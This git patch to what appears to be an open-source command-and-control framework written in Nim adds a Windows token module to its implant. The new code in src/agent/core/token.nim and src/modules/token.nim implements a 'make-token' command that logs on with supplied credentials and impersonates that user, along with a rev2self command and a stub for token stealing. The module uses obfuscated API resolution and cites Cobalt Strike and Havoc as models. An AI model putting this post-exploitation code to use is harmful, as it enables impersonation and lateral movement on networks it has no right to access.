From dea10ba7d5ef14c8af821c6a7b701d94001334a1 Mon Sep 17 00:00:00 2001 From: Jakob Friedl <71284620+jakobfriedl@users.noreply.github.com> Date: Thu, 16 Oct 2025 19:29:49 +0200 Subject: [PATCH] Started work on token module and implemented 'make-token' command to impersonate a user from username and password. --- src/agent/core/token.nim | 130 ++++++++++++++++++++ src/agent/nim.cfg | 4 +- src/client/views/modals/generatePayload.nim | 2 + src/common/types.nim | 4 + src/modules/manager.nim | 8 +- src/modules/token.nim | 83 +++++++++++++ 6 files changed, 228 insertions(+), 3 deletions(-) create mode 100644 src/agent/core/token.nim create mode 100644 src/modules/token.nim diff --git a/src/agent/core/token.nim b/src/agent/core/token.nim new file mode 100644 index 0000000..7621447 --- /dev/null +++ b/src/agent/core/token.nim @@ -0,0 +1,130 @@ +import winim/lean +import ../../common/[types, utils] + +#[ + Token impersonation & manipulation + - https://maldevacademy.com/new/modules/57 + - https://www.nccgroup.com/research-blog/demystifying-cobalt-strike-s-make_token-command/ + - https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Token.c + - https://github.com/itaymigdal/Nimbo-C2/blob/main/Nimbo-C2/agent/windows/utils/token.nim +]# + +# APIs +type + NtQueryInformationToken = proc(hToken: HANDLE, tokenInformationClass: TOKEN_INFORMATION_CLASS, tokenInformation: PVOID, tokenInformationLength: ULONG, returnLength: PULONG): NTSTATUS {.stdcall.} + NtOpenThreadToken = proc(threadHandle: HANDLE, desiredAccess: ACCESS_MASK, openAsSelf: BOOLEAN, tokenHandle: PHANDLE): NTSTATUS {.stdcall.} + NtOpenProcessToken = proc(processHandle: HANDLE, desiredAccess: ACCESS_MASK, tokenHandle: PHANDLE): NTSTATUS {.stdcall.} + +const + CURRENT_THREAD = cast[HANDLE](-2) + CURRENT_PROCESS = cast[HANDLE](-1) + +proc getCurrentToken*(): HANDLE = + var + status: NTSTATUS = 0 + hToken: HANDLE + + let hNtdll = GetModuleHandleA(protect("ntdll")) + let + pNtOpenThreadToken = cast[NtOpenThreadToken](GetProcAddress(hNtdll, protect("NtOpenThreadToken"))) + pNtOpenProcessToken = cast[NtOpenProcessToken](GetProcAddress(hNtdll, protect("NtOpenProcessToken"))) + + status = pNtOpenThreadToken(CURRENT_THREAD, TOKEN_QUERY, FALSE, addr hToken) + if status != STATUS_SUCCESS: + status = pNtOpenProcessToken(CURRENT_PROCESS, TOKEN_QUERY, addr hToken) + if status != STATUS_SUCCESS: + raise newException(CatchableError, protect("NtOpenProcessToken ") & $status.toHex()) + + return hToken + +proc getTokenOwner*(hToken: HANDLE): string = + var + status: NTSTATUS = 0 + returnLength: ULONG = 0 + pUser: ptr TOKEN_USER = nil + usernameLength: DWORD = 0 + domainLength: DWORD = 0 + totalLength: ULONG = 0 + sidName: SID_NAME_USE + szUsername: PWCHAR = nil + pDomain: PWCHAR = nil + + let pNtQueryInformationToken = cast[NtQueryInformationToken](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtQueryInformationToken"))) + + # Calculate return length to allocate space + status = pNtQueryInformationToken(hToken, tokenUser, NULL, 0, addr returnLength) + if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL: + raise newException(CatchableError, protect("NtQueryInformationToken [1] ") & $status.toHex()) + + pUser = cast[ptr TOKEN_USER](LocalAlloc(LMEM_FIXED, returnLength)) + if pUser == NULL: + raise newException(CatchableError, "Failed to allocate memory for TOKEN_USER") + defer: LocalFree(cast[HLOCAL](pUser)) + + # Retrieve token user information + status = pNtQueryInformationToken(hToken, tokenUser, cast[PVOID](pUser), returnLength, addr returnLength) + if status != STATUS_SUCCESS: + raise newException(CatchableError, protect("NtQueryInformationToken [2] ") & $status.toHex()) + + if LookupAccountSidW(NULL, pUser.User.Sid, NULL, addr usernameLength, NULL, addr domainLength, addr sidName) == FALSE: + sidName = 0 + + let + sizeofWChar = cast[ULONG](sizeof(WCHAR)) + pDomain = cast[PWCHAR](LocalAlloc(LMEM_FIXED, domainLength * sizeofWChar)) + pUsername = cast[PWCHAR](LocalAlloc(LMEM_FIXED, usernameLength * sizeofWChar)) + if pDomain == NULL or pUsername == NULL: + raise newException(CatchableError, $GetLastError()) + defer: + LocalFree(cast[HLOCAL](pDomain)) + LocalFree(cast[HLOCAL](pUsername)) + + # Retrieve username & domain + if LookupAccountSidW(nil, pUser.User.Sid, pUsername, addr usernameLength, pDomain, addr domainLength, addr sidName) == FALSE: + raise newException(CatchableError, $GetLastError()) + + return $pDomain & "\\" & $pUsername + +proc impersonateToken*(hToken: HANDLE) = + discard + +#[ + Create a new access token from a username, password and domain name triplet. + Using LOGON32_LOGON_NEW_CREDENTIALS creates a netonly security context (same as using runas.exe /netonly) + This means that nothing changes locally, the user returned by "getTokenOwner" is the same as the current user. + In the network, we are represented by the credentials of the user we created the token for, allowing us to inject Kerberos tickets, etc. to impersonate that user. + The LOGON32_LOGON_NEW_CREDENTIALS logon type does not validate credentials. + + Using other logon types (https://learn.microsoft.com/en-us/windows-server/identity/securing-privileged-access/reference-tools-logon-types) + changes the output of the getTokenOwner function. The credentials are then validated by the LogonUserA function. +]# +proc makeToken*(username, password, domain: string, logonType: DWORD = LOGON32_LOGON_NEW_CREDENTIALS): bool = + if username == "" or password == "" or domain == "": + return false + + var + hToken: HANDLE + hImpersonationToken: HANDLE + + let provider: DWORD = if logonType == LOGON32_LOGON_NEW_CREDENTIALS: LOGON32_PROVIDER_WINNT50 else: LOGON32_PROVIDER_DEFAULT + if LogonUserA(username, domain, password, logonType, provider, addr hToken): + + if DuplicateTokenEx(hToken, TOKEN_QUERY or TOKEN_IMPERSONATE, NULL, securityImpersonation, tokenImpersonation, addr hImpersonationToken) == FALSE: + return false + defer: CloseHandle(hImpersonationToken) + + if ImpersonateLoggedOnUser(hImpersonationToken) == FALSE: + return false + + else: + return false + + defer: CloseHandle(hToken) + + return true + +proc tokenSteal*(pid: int): bool = + discard + +proc rev2self*(): bool = + return RevertToSelf() diff --git a/src/agent/nim.cfg b/src/agent/nim.cfg index 4aba7a5..e4784a2 100644 --- a/src/agent/nim.cfg +++ b/src/agent/nim.cfg @@ -3,6 +3,6 @@ -d:release --opt:size --passL:"-s" # Strip symbols, such as sensitive function names --d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" --d:MODULES="255" +-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" +-d:MODULES="511" -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe" \ No newline at end of file diff --git a/src/client/views/modals/generatePayload.nim b/src/client/views/modals/generatePayload.nim index a57d530..c3f3353 100644 --- a/src/client/views/modals/generatePayload.nim +++ b/src/client/views/modals/generatePayload.nim @@ -127,6 +127,8 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui if igButton("Build", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)): + component.buildLog.clear() + # Iterate over modules var modules: uint32 = 0 for m in component.moduleSelection.items[1]: diff --git a/src/common/types.nim b/src/common/types.nim index 01adf26..77c9f0c 100644 --- a/src/common/types.nim +++ b/src/common/types.nim @@ -52,6 +52,9 @@ type CMD_SCREENSHOT = 15'u16 CMD_DOTNET = 16'u16 CMD_SLEEPMASK = 17'u16 + CMD_MAKE_TOKEN = 18'u16 + CMD_STEAL_TOKEN = 19'u16 + CMD_REV2SELF = 20'u16 StatusType* = enum STATUS_COMPLETED = 0'u8 @@ -99,6 +102,7 @@ type MODULE_FILETRANSFER = 32'u32 MODULE_SCREENSHOT = 64'u32 MODULE_SITUATIONAL_AWARENESS = 128'u32 + MODULE_TOKEN = 256'u32 # Custom iterator for ModuleType, as it uses powers of 2 instead of standard increments iterator items*(e: typedesc[ModuleType]): ModuleType = diff --git a/src/modules/manager.nim b/src/modules/manager.nim index 87795f1..b3bbadd 100644 --- a/src/modules/manager.nim +++ b/src/modules/manager.nim @@ -27,7 +27,8 @@ when (MODULES == cast[uint32](MODULE_ALL)): bof, dotnet, screenshot, - systeminfo + systeminfo, + token registerModule(sleep.module) registerModule(shell.module) registerModule(bof.module) @@ -36,6 +37,7 @@ when (MODULES == cast[uint32](MODULE_ALL)): registerModule(filetransfer.module) registerModule(screenshot.module) registerModule(systeminfo.module) + registerModule(token.module) # Import modules individually when ((MODULES and cast[uint32](MODULE_SLEEP)) == cast[uint32](MODULE_SLEEP)): @@ -62,6 +64,10 @@ when ((MODULES and cast[uint32](MODULE_SCREENSHOT)) == cast[uint32](MODULE_SCREE when ((MODULES and cast[uint32](MODULE_SITUATIONAL_AWARENESS)) == cast[uint32](MODULE_SITUATIONAL_AWARENESS)): import systeminfo registerModule(systeminfo.module) +when ((MODULES and cast[uint32](MODULE_TOKEN)) == cast[uint32](MODULE_TOKEN)): + import token + registerModule(token.module) + proc getCommandByType*(cmdType: CommandType): Command = return manager.commandsByType[cmdType] diff --git a/src/modules/token.nim b/src/modules/token.nim new file mode 100644 index 0000000..e4a2879 --- /dev/null +++ b/src/modules/token.nim @@ -0,0 +1,83 @@ +import ../common/[types, utils] + +# Define function prototype +proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult +proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult + + +# Module definition +let module* = Module( + name: protect("token"), + description: protect("Manipulate Windows access tokens."), + moduleType: MODULE_TOKEN, + commands: @[ + Command( + name: protect("make-token"), + commandType: CMD_MAKE_TOKEN, + description: protect("Create an access token from username and password."), + example: protect("make-token LAB\\john Password123!"), + arguments: @[ + Argument(name: protect("username"), description: protect("Account username prefixed with domain in format: domain\\username."), argumentType: STRING, isRequired: true), + Argument(name: protect("password"), description: protect("Account password."), argumentType: STRING, isRequired: true), + Argument(name: protect("logonType"), description: protect("Logon type (https://learn.microsoft.com/en-us/windows-server/identity/securing-privileged-access/reference-tools-logon-types)."), argumentType: INT, isRequired: false) + ], + execute: executeMakeToken + ), + Command( + name: protect("rev2self"), + commandType: CMD_REV2SELF, + description: protect("Revert to previous access token."), + example: protect("rev2self"), + arguments: @[], + execute: executeRev2Self + ) + ] +) + +# Implement execution functions +when not defined(agent): + proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult = nil + proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult = nil + +when defined(agent): + + import winim, strutils, strformat + import ../agent/protocol/result + import ../agent/core/token + import ../common/utils + + proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult = + try: + echo fmt" [>] Creating access token from username and password." + + var success: bool + var logonType: DWORD = LOGON32_LOGON_NEW_CREDENTIALS + let + username = Bytes.toString(task.args[0].data) + password = Bytes.toString(task.args[1].data) + + # Split username and domain at separator '\' + let userParts = username.split("\\", 1) + if userParts.len() != 2: + raise newException(CatchableError, protect("Invalid username format. Expected: \\.\n")) + + if task.argCount == 3: + logonType = cast[DWORD](Bytes.toUint32(task.args[2].data)) + + if not makeToken(userParts[1], password, userParts[0], logonType): + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(protect("Failed to create token.\n"))) + return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"Impersonated {username}." & "\n")) + + except CatchableError as err: + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) + + proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult = + try: + echo fmt" [>] Reverting access token." + + if not rev2self(): + return createTaskResult(task, STATUS_FAILED, RESULT_NO_OUTPUT, @[]) + return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) + + except CatchableError as err: + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) \ No newline at end of file